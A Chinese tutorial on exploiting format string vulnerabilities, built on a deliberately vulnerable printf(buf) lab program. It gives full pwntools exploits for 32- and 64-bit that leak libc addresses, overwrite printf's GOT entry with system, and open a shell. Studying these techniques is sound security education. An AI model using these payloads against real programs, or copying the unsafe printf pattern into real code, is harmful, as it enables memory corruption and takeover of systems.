格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客

我们这里以一个实际案例为例,总结一下如何利用格式化字符串漏洞实现任意地址读写,如果你想知道格式化字符串的一些细节,可以先参考上面的博客。

简单回顾

格式化字符串的基本格式

%[parameter][flags][field width][.precision][length]type

与漏洞相关的特性

  • [paramter] num$,获取格式化字符串中的指定参数,例如 %x 是打印第一个参数,则 %2$x 是打印第二个参数,即使 printf 没有写第 2 个参数,实际此函数也会自动从栈上取一个参数。

任意地址读

基本格式: addr%num$s

任意地址写

基本格式: addr%num$n

栈布局

要理解格式化字符串漏洞,一定要先理解所在函数的栈布局,例如对于下面的代码

gets(buf);
printf(buf);

调用 printf/scanf 所在函数(main)栈布局,下图适用于一般的格式化字符串漏洞

                         ┌────────────────────┐
                         │                    │
L             ┌──────────┴──────────┐         ▼
   sp────────►│       format        │ printf(format, arg1, arg2)
              ├─────────────────────┤         │       │      │
        ▲     │        arg1         │◄────────┼───────┘      │
        │     ├─────────────────────┤         │              │
        │     │        arg2         │◄────────┼──────────────┘
        │     ├─────────────────────┤         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
       11$    │                     │         │
              │                     │         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
        ▼     ├─────────────────────┤         │
     ─────────┤       buf-input     │◄────────┘
              ├─────────────────────┤
              │                     │
              ├─────────────────────┤
              │                     │
              │                     │
              │                     │
 H            └─────────────────────┘

漏洞案例

目标程序源代码 pwnme.c,非常简单,就是循环读取用户输入,并且直接输出,这是一个最为典型的格式化字符串漏洞

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char const *argv[])
{
	char buf[0x101];
	int i;
	for (i = 0; i < 0x10; ++i) {
		memset(buf, 0, sizeof(buf));
		read(0, buf, sizeof(buf));
		printf(buf);
	}
	return 0;
}

本题目标是让用户利用格式化字符串漏洞完成地址泄露,修改 GOT 表,拿到 shell,因此需要关闭 RELRO 安全编译选项。本题还有个坑点在于 buf 没有 4B 对齐。

  • NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
  • PIE-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

编译

 # 32位
 gcc pwnme.c -z norelro -m32 -o pwnme_32
 # 64位
 gcc pwnme.c -z norelro -o pwnme_64

32 位 EXP

1 泄露 libc 基地址

由于目标程序开了地址随机化,因此需要泄露 libc 基址。格式化字符串漏洞允许我们将整个栈上的数据都泄露出来

  • main 函数调用 printf 的地方设置断点,查看此时栈空间,发现 printf 的第 4 个参数(格式化字符串的第 3 个参数)指向目标程序 <main+30> 的位置,因此利用这个参数即可泄露程序加载的基址

  • 或者直接输入 %x.%x.%x... 类似的语句,将整个栈数据都打印出来,观察上面的数据是否与地址相关的。

───────────────────────────────────────────────────────────────────── stack ────
0xffffcf80│+0x0000: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"$esp
0xffffcf84│+0x0004: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"
0xffffcf88│+0x0008: 0x00000101
0xffffcf8c│+0x000c: 0x5655624b  →  <main+30> add ebx, 0x2d81
0xffffcf90│+0x0010: 0x00000340
0xffffcf94│+0x0014: 0x00000340
0xffffcf98│+0x0018: 0x00000340
0xffffcf9c│+0x001c: 0xffffd164  →  0xffffd325  →  "/home/tom/Documents/ctf/formatstring/pwnme_32"

泄露完程序基址,再利用任意地址读,读取目标程序 got 表中任意一个已经使用过的导出函数的地址,即可泄露 libc 基址。

  • 任意地址读需要知道格式化字符串指针到实际存储的内容*也就是用户输入之间的长度,上文提到的栈布局中,11$,其实就是输入 AAAA.%11$x,输出 AAAA.414141,这么得来的*
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)

# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))	# sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)

2 覆写 got 表导出函数

格式化字符串 %n 默认写入 4B,如果想写入大数据,会导致十分不稳定,因此利用格式化字符串漏洞的实际任意地址写,我们通常一次性写入一个或两个字节,而非四个字节

  • %hhn 对于整数类型,printf 期待一个从 char 提升的 int 尺寸的整型参数
  • %hn 对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
  • %n 写入整型

逐字节写,这里需要仔细揣摩如下案例,假设我们想覆盖 3B,需要写入 3 次,我们写入的格式化字符串 payload 长度最大不超过 12*3+1,为了补齐,使用 ljust 填充到该长度。格式化字符串 %{}c%20$hhn顾名思义,将格式化字符串的第 20 个参数写入 low1。而如下的 paylod,第 20 个参数(11+12*3/4 = 20)存放的是 printf_got 地址

low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff

payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)

完整 exp

from pwn import *

sh = process('./pwnme_32')
libc_elf = ELF('/lib32/libc.so.6')
pwn_elf = ELF('./pwnme_32')
context(log_level='info')
# gdb.attach(sh)

# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)

# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))	# sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)

# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_got = pwn_base + pwn_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff

payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
# pause()
sh.sendline(payload)

64 位 EXP

与 32 位有所不同的是,64 位传参,优先使用寄存器作为函数的参数(rdi, rsi, rdx, rcx, r8, r9),因此,占满以后第 7 个参数才会存放在栈上。

1 泄露 libc 基址

在调用 printf 的地方下断点,没有发现栈上存储了程序基址相关的地址

───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdda0│+0x0000: 0x00007fffffffdfc8  →  0x00007fffffffe328  →  "/home/tom/Documents/ctf/formatstring/pwnme_64"$rsp
0x00007fffffffdda8│+0x0008: 0x0000000100000340
0x00007fffffffddb0│+0x0010: 0x0000034000000340
0x00007fffffffddb8│+0x0018: 0x0000000c00000340
0x00007fffffffddc0│+0x0020: "AAAABBBB.%10$p\n"$rsi, $rdi, $r10
0x00007fffffffddc8│+0x0028: ".%10$p\n"
0x00007fffffffddd0│+0x0030: 0x0000000000000000
0x00007fffffffddd8│+0x0038: 0x0000000000000000

继续查看,发现栈顶偏移 0x150的地址,存放了 <main>

gef➤  x/gx 0x00007fffffffdda8 + 0x150
0x7fffffffdef8:	0x00005555555551a9
gef➤  xinfo 0x00005555555551a9
──────────────────────────────────────────── xinfo: 0x5555555551a9 ────────────────────────────────────────────
Page: 0x0000555555555000  →  0x0000555555556000 (size=0x1000)
Permissions: r-x
Pathname: /home/tom/Documents/ctf/formatstring/pwnme_64
Offset (from page): 0x1a9
Inode: 1574883
Segment: .text (0x00005555555550c0-0x00005555555552d5)
Offset (from segment): 0xe9
Symbol: main

printf 第 4 个参数存放了 libc 相关地址

printf@plt (
   $rdi = 0x00007fffffffddc00x0000000a31313131 ("1111\n"?),
   $rsi = 0x00007fffffffddc00x0000000a31313131 ("1111\n"?),
   $rdx = 0x0000000000000101,
   $rcx = 0x00007ffff7ed0fd20x5677fffff0003d48 ("H="?)
)

计算程序和 libc 基址

payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2 
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)

2 覆写 got 表导出函数

同样道理,找到格式化字符串参数到实际指针的偏移

输入:AAAABBBB.%10$p
输出:AAAABBBB.0x4242424241414141

与 32 位套路一样,但是注意的是,payload 填充字段必须是 8B 对齐

sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff

payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')	#  +4是为了8字节对齐!
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)

完整 exp

from pwn import *

sh = process('./pwnme_64')
bin_elf = ELF('./pwnme_64')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context(log_level='info')

# 1 leak binary and libc base address
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2 
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)

# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff

payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)

sh.sendline(payload)
sh.sendline(b'/bin/sh\0')
sh.interactive()

总结

理解格式化字符串漏洞关键还是在于理解栈空间布局,任意地址写初学者接触到可能较为抽象,但是结合栈空间布局以及格式化字符串的原理,详细我们就能对格式化字符串有个更加清晰的认知。如果能够复现上述漏洞案例,那么恭喜你,已经完成了 pwn 格式化字符串漏洞这一旅程。

  1. 泄露栈空间,计算程序或者 libc 加载基址 (%p.%p.%p)
  2. 泄露栈空间,找出格式化字符串参数到实际格式化字符指针的距离(AAAABBBB.%p.%p.%p.%p.%p.%p.%p
  3. 任意地址读(addr%11$s
  4. 任意地址写('%{}c%11$hhn'.format(index) + addr
06-02 00:02